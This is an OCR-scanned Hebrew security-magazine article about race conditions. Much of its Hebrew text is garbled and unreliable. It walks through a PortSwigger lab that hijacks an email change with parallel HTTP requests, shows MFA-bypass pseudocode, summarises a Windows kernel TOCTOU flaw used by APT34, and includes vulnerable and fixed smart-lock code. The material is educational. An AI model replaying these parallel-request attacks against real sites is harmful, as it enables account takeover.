1I1'78 072120 N7W R 7'Ynini N7apNn NWIDIN YIXKY NYRan D N PR

D" NOoIN D'AYY 'OX"

D12 17¢% 0NN 07PN INKN DNIPY DY 190N 7¥ q¥1 DIT'N NNX NYRAY DNY,nwyn?
NIX '7¥17 N1017 7211 DRININ DNINA NIYARY MNIF IR NNR NYRA NINT? NINT? 7211 DX .017Y NN 17X
DXY1 )2 .0117Y 20 DDY7NN 0'XIDI WK [AT7 D'WA 0217 D'7WD IWNT 1D 11'MA10Y7 D'A7UN 'NN

.N'7220 112201 NOMTN 71T NI NN NID 72777 race conditions 7w NIXY'S NIAPYA 17 TWORNN
ANIXR QIPY'7 2211 ,'IXND DUIM 1'R DX ,MFA-D 12210 X XN2AIT? N7

:X2n Pseudo code-1 v

session['userid'] = user.userid
if user.mfa_enabled:
session[‘enforce_mfa'] = True

generate and send MFA code to user
redirect browser to MFA code entry form

DN2'AY NNl N1 ,0NxNM %y
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nX I71'|7 YUNNYwNN ,NINTINN '019 NIVXANK NINRN 7Y [TURIN ,7'7nn NX 1112V DX ,TIpZn Yoy 199

.D'YUINTN 0'9011N DA7WN NXK YN 1720 NNIRA 12D 71210 XInw i ,navnn |Yon

D'NNINA D'YNNYA 7Y YT IWN71I NIYAT NXP NITIRI7 D97 7T NTH [WOoN NIX '7%17 710 qpin nyd

.07 NWA7 01D

N2072IMINNN NN TN

INNNA NNJIONN NU'YWA WNNWI 0NNOIN 027 'MN 1501 DY NI7IYD 'OX1 7¥171 NINT7 ' 1)
Smashing the state machine: The true potential of web race conditions by PortSwigger Research
TN IYNID A7Wn

NINQN NITRYN MY 197 NITIZIN DX DXNAXD D7, N'Wyn X7 XN DXPN NITRID N7 e
PN'MNLVAN N1'NAN NAIYN DXPA NTIZI DR ®

PNIYZAN TV NIYAINNT IN'YI0I1D W' DXN @
1on v
2201 2¥N2 NIRNINA [N TXD NN 71T, N'0IIN XN NITIRI DX 12'9'Y INKY

NI7Y7 D2 N0 DA TXI,NIYPZA NNTOD NIWPA 1901 NI7W? Repeater-n NNTYA NI017 '2'NNa DN WNKY

Q172NN NIAIYNA 0TAN KIXN? No01I,7'a7na

178 IN ONKRT DX ,NNXY DY¥ZY79X NIANINNA DY I'YIDRIY NAIAN AT 7un?,ta nirfn 211 a1 '

1IN0 DT DR %171 NI017 YT
n713' nndIA W A
NYPI79RN 7V NYOWNN DX ATAWT? N0 NNNIM NIYRA 1'01,7V191 NI NN 'an'? no1l

227 on"nn% 0'¥'*7n PortSwigger 7w DMpINN 271 1'78N N1N2 72 NN K7 1AM nyowinn ANy

JTTIAN NW2IND K71 N0T0N 770 YN 2xn

NIrAwN oM WEB 'Y 2N7 .NINND W' 017 DA X ,17 2TV X7 1'KY '9D 112NN DIN'D D'y9Y7
2172 1900 NNY7YW T Y DT DR QIpYY7 7510, qI9Y N 178D TR NP NINYWI DX NIYZAN TIA'va
NUNYNN (12220 DX (11D [DIXA N1V A, NIvnwn K77 NiMno Nivia 178 ,Dummy Requests 7w

N'AYN OY [N7Y VIXND ATV DINNY? TIAY'7 NIt single packet niopnn nydi ,Nwa
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NNX NX N2 race conditions

NNO0'0 OI9'N 7Y |122112 N1 ,YN'M QXN NIY7 D710 NIYRA 7Y 7172 190102 NNK DX NTIRI Tonyn

UNNWUN INIX 7Y (WO 17W [P10N NINI WNNWNAN NN DK NIYD

AP NIYANNY 72107 N0 DIV D'YNNYN 'y Dy AX |YON INIXN NIYpd 'NY nn'“Y Nt NNl

20177 DN qEING N7Wh 019X |7IVY

N71Y9N NX Y¥27 11X 0'AY97 [27,]1210 1TOQ PIMTA YX¥ANNY NIZIVON 2y, 1Ty 1780 NIDPNNY 7'awa

XN NVAN DX A'WI TN NXp DYI DMy 150n

-1 NNIR [N 2N71NKRNA NOPNNAYT NAI0 YR N NniTd1 N7WIY NIR'R 11D 7' 7y n1ooiann ni7iys

NN NYpaAN NTAY 120W INR71 1191 Thread
{7700 NAINDY YNXA NIVIVOIMTR NIFNY NIATA NNT7WI NINAN NTAYNA
carlos@ginandjuice.shop

NI 7277 ,10%w wnnun? 7'n IR WRY 17W D0Nn,NTH 77N 0OV DK [IAWN XD X7 TV X

.carlos ATI'N NX |7InYJ'7I NN NIVIVOINTR 7Y

.NOPNY NP NXP NTIRI RIXNT7 DX (IWURIN A70)

My Account

Your username is: wiener

Your email is: wiener@exploit-0ab7008303aae1de8022b65801bc00dc.exploit-server.net

Please click the link in your email to confirm the change of e-mail to:
wiener@exploit-0ab7008303aae1de8022b65801bc00dc.exploit-server.net

Email

Update email

770NN 'K NN17 101 ,7''N [IDTY? NNYWOR W' 7'0N9N TNyl ,1n72'7w wnnwn? NN2ANNnn 1NX7

2720 2ax¥na anann
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Sent To From Subject Body
) ) no- To confirm your email change to wiener@exploit-Oa
2025-10-08 ‘(‘)v::}r;f)rg%;ng;:1de8022b65 reply@0a9d0059031ee1d78037 :(I)?:ii:q b70083.033361Qe8022b65801chOdc.exploilfserve View
12:34:18 +0000 ’ b77d006b0035.web-security- - Lnet, click the link below raw
801bc00dc.exploit-server.net your e-mail
academy.net Click here to confirm.

AIYIRN NK7 ,N72un Y'omy '9) 7' 90N MWK WO ,ANKA 7'9N91 7'M NAImd [1IDTY INKY

NIDTIY NINDAY NYTIN n"n,'m

Your email has been successfully updated

.0'TAN DWN NI7T7 N0 7Y DINN NIX 71721 ,ANRNNA NXPN N7 NN7YIY NYRaN DR IENY non

Request
Pretty =~ Raw  Hex = n =

1|PUET fm:-accnuntfchanae -email HTFP.-’Z!
2 a ee 5.web-security-academy.net

3 Cuukle. session=950g2ZWt3J72P1htrIQFu2 rdNSH3X]jFU4
4 Content-Length: 112

5 Cache-Control: max-age=8

6

7

8

Sec-Ch-Ua: "Not=A?7Brand";wv="24", "Chromium";w="148"
Sec-Ch-Ua-Mobile: 78
Sec-Ch-Ua-Platform: "macOS"

9 Accept-Language: en-US,en;g=8.9

1@ Origin:
https://Ba9%d@B59831eeld?78837b77d0B6DBB35.web-security—-academy.net

11 Content-Type: application/x-www—=form-urlencoded

12 Upgrade-Insecure-Requests: 1

13 User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 1@_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.8.8.0
Safari/537.36

14 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9, image/avif,
image/webp, image/apng,+/%;q=0.8,application/signed-exchange;v=b3;
g=8.7

15 Sec-Fetch-5ite: same-origin

16 Sec-Fetch-Mode: nawvigate

17 Sec-Fetch-User: 71

18 Sec-Fetch-Dest: document

19 Referer:
https://Ba9%d@B59831eeld?78837b77d0B6DBB35.web-security—-academy.net
fmy-account?id=wiener

2B Accept-Encoding: gzip, deflate, br

21 Priority: u=8, i

23femail=
wiener%4@exploit-8ab7808303aaelde8B22b65881bcb@dc.exploit-server.

DN'AY NNIN13IM,0'NNM 2v
www.DigitalWhisper.co.il
21 2026 N1 ,181 It



http://www.digitalwhisper.co.il/

i
™18

I
[

Technoloqgic

wnnwn' n'ion |¥O DY DAl ,NXpPn ]'1'I'I|7]'7 nnwin NYPZan 1IN NXXN) 7' NAIMDY 1IXXN TN

NNN,NMIY 7' NaImd 72X |won INIX DY '7'1|7YJJ. nypa 'y N7w1 DX np'nn |7I'I'1'7 n01 MaInny

NNVN N7YW YANWNY 7"'Y7 1'% NNIX 7'"'00 NAIND N 2w NRY? nx 1R 20 9w ann

NTAVNN

SOVE~NOU A WNKE

—

ha

3

Send group (parallel) ﬁl} Cancel Follow redirection

Request
Pretty ~ Raw  Hex ® n =

[POST /my-account/change-email HI1P/2 |

Host: 0a9d@e59831eeld78637b77d@06b0035.web-security-academy.net
Cookie: session=950gZWt3172P1htrIQFu2rdN5H3XjFu4

Content-Length: 112

Cache-Control: max-age=0

Sec-Ch-Ua: "Not=A7Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: “mac0S"

Accept-Language: en-US,en;q=0.9

Origin:

https://8a9d0059031eeld78037b77d0@6bBO35. web-security—-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S5 X 18_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.8.0.0
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp, image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer:

https://0a9d@859031eeld78037b77d006bBO35. web-security—-academy.net
/my-account?id=wiener

Accept-Encoding: gzip, deflate, br

Priority: u=0, i

email=
wiener%4@exploit-8ab7008303aae1de8022b65801bcoddc. exploit-server.
net&csrf=36eymH1vDP8jKoPYyA4HUpwdLIR38 8]

* Burp Al

Response
Pretty Raw Hex Render

1 |HTTP/2 302 Found

2 Tocation: /my-account

3 X-Frame-Options: SAMEORIGIN
4 Content-Length: @

5

6

Target: https://0a9d0059031ee1d78037b]
a--

=5 \n =

1

VNV AEWN

11
12
13

[L4

15
L6
L7
18
19

e
1
22

Send group (parallel) IE' {} Cancel Follow redirection

Request
Pretty ~ Raw  Hex ® n

IPUST /my—accaunt/change—email HTTP/2|

Host: ©a9d@e59031eeld/8037b77d@06b@0@35.web-security-academy.net
Cookie: session=950g9ZWt3J72P1htrIQFu2rdN5H3XjFu4

Content-Length: 69

Cache-Control: max-age=0

Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="148"
Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: "“mac0S"

Accept-Language: en-US,en;q=0.9

Origin:

https://8a9d0059031eeld78@37b77d0@6bAB35. web-security-academy.net
Content-Type: application/x-www—form-urlencoded
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 18_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,
image/webp, image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
q=8.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer:

https://0a9d0059031ee1d78037b77d0@6bAO35. web-security-academy.net
/my-account?id=wiener

Accept-Encoding: gzip, deflate, br

Priority: u=@, i

email=carlos%4@ginandjuice.shop&csri=
36eymH1vDP8jKoPYyA4HUpwdLIR38F8j

@&« » O Ohighlights

*4 Burp Al

Hex Render

WTTP/2 302 Found
Location: /my-account
X-Frame-0Options: SAMEORIGIN

1
2
3
4 Content-Length: @
5
6

(O IGIES

Target: https://0a9d0059031ee1d78037b7|
a- -
n =

jol 0 highlights
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WD 7' N2 NN 171T2] ,AN7¥N2 ITaIY NIYpan 'MY NMyn Nalan 199

Sent To From Subject Body
no- 1 i i i
wiener@exploit- Please To confirm your email change to carlos@ginandjuic -
2025-10-08 0ab7008303aae1de8022b55 reply@0a9d0059031eeﬂd?ﬂﬂE? confirm e.shop, click the link below View
12:44:37 +0000 . b77d006b0035.web-security- . raw
801bc00dc.exploit-server.net academy.nel your e-mail  fclick here to confirm

YRT N72Y 1IWRIN 7NN Mva onte 1'% NNIX QYTNN NAIMDN W NWR? 7'm nay

ANN WNNWNAN 7'9197 2ITNAIE 7NN 97NN DK YUK .)'70NN K DT

Home My account | & 0 | Logout
My Account

Your username is: wiener

'Your email is: carlos@ginandjuice.shop I

Email

Update email

PINN7 N1 DY 'TXN 7189 DA 117 NNDY NYdI 017 ¥ 7'nn NaImd 7y V7NWUN7 NYxN PR

.07 7w ynnwnin NX 1'011 7ak97 w1721 ,0'WNnun

YINn 'fa¥n 1o

IX YAl 7unY ,0'10n AXWUN NPTIA NN 12 2x¥n - TOCTOU (Time-of-Check to Time-of-Use) o
NIV INIR NRYWYT IX 97007 712" 971N X, (101 [TV XKINY NN NI INIRA D NYANWAL, RN
hinkhin

NINS7I NYINAT 12 [N2'TA 27N ININT? W7 0'0IN NI IN DD'70N 'MW IWKRD NMIZ A¥nin - Datarace o
LDOXRXINN DX D'NWNYT 201 019X X7 NIANINNYT 7'2im 2xnn 1'% 2D Dnn TX

,N'INT 12 D'I0N YAl PINNY7 IX NIND9Y7 1IX'7 0'0IN 027NN 190N WWKD - Race in file operations
VTN NOY7TIN (Privilege Escalation) NIXNwAN NN700 ,Nn0MT? 72107 710'w nn

727 wynnwn 2 n97Nn 7wn? ,NIXYIN NIWN NDIYNN IWRD NI - Race in privilege escalation e
NI71Y9 Y¥27 DTN AT NI017 710! q7IN ,0'RNN [1N2101 NYN¥ANN X7 n71Y9NI ,root wnnwn?

AN NN NIRYAN O'Y"xnNn
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22X ,|W07 |10 IX TN'IoN NINT NNXN NDWNNWD - Race in authentication or session handling e
IN ITIN WIN'Y NIYY7 QpIN7 NMYOKNNI DRNNA AXWNAN DR (Q\wNnna Ni7'wa 7y 0191) n2vn X7

191N 219YW 197 [WON NX qIuNY7
,0'101 7221 AXWN 019N7 0'0IN D'D'7NN IX D'WNNWN 190NnWD - Race in resource allocation e
IXN DOS-7 72107 215' 07 ,NmM'RNNn NI7'wa nx7xn X7 ndwnni ,Sockets IX [NDTA D'pI72 7wn?

VTN no'T

NYR ONWW7 L1780 D2AXNNN TR DNXINYT DY1D'0N DX 1Yn71 27 0'W7 'RTD NIN'ON 170N Ty

NP 20N N PO 712! 0NN W N7 7w 101 110N X NIN'ON INKT? ITNYY

NN7aNNY N'MMX AY7In TR MY nta yan

,2024 maw 21 ,0ONX V'N9ONY7 7 1Iwn ,Web-n nim71va 7 o'y race conditions-w DNaAWN OX
nw7In ,(Windows Kernel) o112 7w |'v12a2 (7.0) nniaa nnin oy nw7in? Patch nnnwn usionNpm

APT3 DWA D'OPIN NXAR T 72V 7T 7V n7¥1w NdIN DMYY

KIN IYXIN,0AWIN NND DTIR 22 nW2INN NINA7 719%1w 197 18 ,3008-2024-CVE:nw2IN NN N'DN
YUNwnn awNnNn 'axwn 7101 2y 'RINKN 111 770 ,0759n00 Ndwn 7w 'vian Kin Kernel-n .Kernel
DMINNY DD L[ND'TN ,TAYNN 7112 N0'™7W 7Y 'RINK 'YIAN .N1DINT7 NniNn |2 W2 |'vnd
NNVIN NI7122 PO07 DA I'T'PSNN 770 ,0'¥177 NWAN DX 7001 "Ml 0% 00N AR ,Aunny

NIV [91IXAL 77N YN '720W ARITY N7Y90N NDWN 7¢ “Nimn” 783 'via7 on"'Nin' TWoX .0'M'ion

210N 7Wd YW a¥nn Nyan avlinn .avlinn NIy 1y Lrvnan Y oImpen an many R X
IR XTIN ['VI20 7710 Mj7na .NIRYIN NN700 Y¥17 [NIY RIXN? DNpIinn DX 721my nn , TOCTOU
[PN" X .12 WNNWN7 121y [on INKR7I,(Buffer) Dfon yxin IX [IN2'T2 NAIMD 7wn? ,Akwnn 7w a¥nn
NO™MYA 7NN T 7Y V7Y ARYNNY TNIMAL DTN XPN [ATD 7192 NIY IR [DTYNN NTh 2xnl
N71Y NP'TANN ATT YT 2TNY IR NDYN NN N0™MY 'WnT7 0'97INY N7T NNIDY NN ,wnnunin
7'nNnl L, UNnnYNnN T 7Y 291000 YXIND NOMI9I 7TIA DR PTI2 'VIAN :XAN |9IN2 N7 NI7IYON ¥ D
,VT'NN NQMDIYXINYG Y axXnn N1 12,7019 .(TIvi 091 ,0'019'0 ,NiNY 7wn?) Imn yTn 7'nyn?

.D'OPINT 'OX77 YN 17N WXI'Y NN, ARWNAN 7Y IR N7'W1 Nyyann X7
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0717y D™MITT 07NN

NP'TAN [pra qpn yayn avn? L1
2NN DX IX YIAXNN DX NRYY 7N pra .2

9INN NOMYA DIP'MY NN DIPM DX 97nnY? .3
['VaN NN NUYY AYWYNT? Q2INT [N YANYAYT ['VIAN 12 TIT2AN DX NIYY Nn

D'MY 7W NIIY NIRONA DA 7X'™X¥101911 11 01T ,10 01Tl 7w NIXOMA I'N 1YA9IW NIDIWAN ['an

17X NIdDYN DY QNIYN '0'01 |'VIa 077NN

D'V'ANY 0'V'AXNYT NWIISN D901 NN TY71ND0IN,0'NAN 'R 10N NN 0VOI0N'M NNIYY Patch-2a

STIVEYNMN 'AXN nyINn? Ni'RNn |No'T NI7'W1 N90IN,NAMD YIX'A DIV YNnwnn

NY'? Trend Micro-n DNPIN TIXA NNA1L,TA NI DONNA X7 DMITT 0'97IN ,0'VTI* 12D 1INIXY 10D
| | |

34APT No'PNN NXIAPE? NW2INN 7w 7W191 71X

Multi Stage -2 wnNNWUNT,TIVI TAN,N'AIXD MINN2 NI'VMR NIFNMWN RIXAT? NNYD 0DN7Y 271090 No'Y
71¥11 Registry-2 D'"12'W NIVXANI NIARY WON'7,01110 2121 NININK NINYT DDINA 077100 Implants
7> NIANM phishing NI9ZNN DY N9'PNN NIX 127'W 72 7V 90I11,0'7U9NN NDIYN1 012N Y723 7w Ny

JIDWN7 NIIYWKRIN N0ON DX IN'Y

NT2ADIIDTY VIX' 7Y NIA'YNN DK UIATAY NN L'2'0NAN |SIR2 11DTIY X7W NId>WN NX N7xIN h{miTh

21780 D'2AXNN D'IANN X TN

LU YOR DY IWRIN,DRAYIN 1901 ['An7 21N ,NIEN 1AIY7 0101w 1197
Y2U7 IN [1N2T2 NMINWN 7wn?,9NIwn ANWN 7Y 1Y I DY NYXANN 12 T 770 RIN '0N7 yoir
' nwnann X7 IR DM nUNINN N71IV9W NN NTMIOVXR ,NMIOK A71V9 N Awn

712! TAN 7'7NN Y NN'0aN R'NY )02 '0MIPN YORZN 7V AN7 Nn'2'Wan 7Y nnnon ,n'7'wa n rwuni
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update_balance(amount):

current_balance+=balance
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lock_state = "locked" # shared state in memory
def unlock_via_app(user_id):
# Step 1: check 1if user 1is allowed to unlock
if has_access(user_id):
global lock_state
# Step 2: update internal state
lock_state = "unlocked"
# Step 3: send command to the physical Llock
send_command_to_lock("UNLOCK")
return "door unlocked"
else:
return "access denied"
auto_lock():
global lock_state
# Step 1: check current state
if lock_state == "unlocked":
# Step 2: update internal state
lock_state = "locked"
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from threading import Lock
state_lock = Lock()
lock_state = "locked"
def unlock_via_app(user_id):
if has_access(user_id):
global lock_state
# Acquire the Lock before touching shared state

with state lock:
lock_state = "unlocked"
send_command_to_lock("UNLOCK")
return "door unlocked"
return "access denied"
def auto_lock():
global lock_state
# Acquire the Llock before reading and updating
with state_lock:
if lock_state == "unlocked":
lock_state = "locked"
send_command_to_lock("LOCK")
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® https://cwe.mitre.org/data/definitions/362.html

® https://cwe.mitre.org/top25/archive/2024/2024 key insights.html

® https://www.hackerone.com/blog/how-race-condition-vulnerability-could-cast-multiple-

votes

e https://www.bugcrowd.com/wp-content/uploads/2024/01/Inside-the-Platform-

Vulnerability-Trends-Report.pdf

® https://portswigger.net/web-security/race-conditions

® https://portswigger.net/research/smashing-the-state-machine

® https://nvd.nist.gov/vuln/detail/cve-2024-30088

® https://medium.com/@shira.borochovich/cve-2024-30088-kernel-level-toctou-vulnerability-

abused-by-apt34-for-privilege-escalation-in-5a75035bf076

o https://hackerone.com/reports/2598548

e https://www.guidepointsecurity.com/blog/race-conditions-in-modern-web-applications

e https://www.bugcrowd.com/blog/racing-against-time-an-introduction-to-race-conditions
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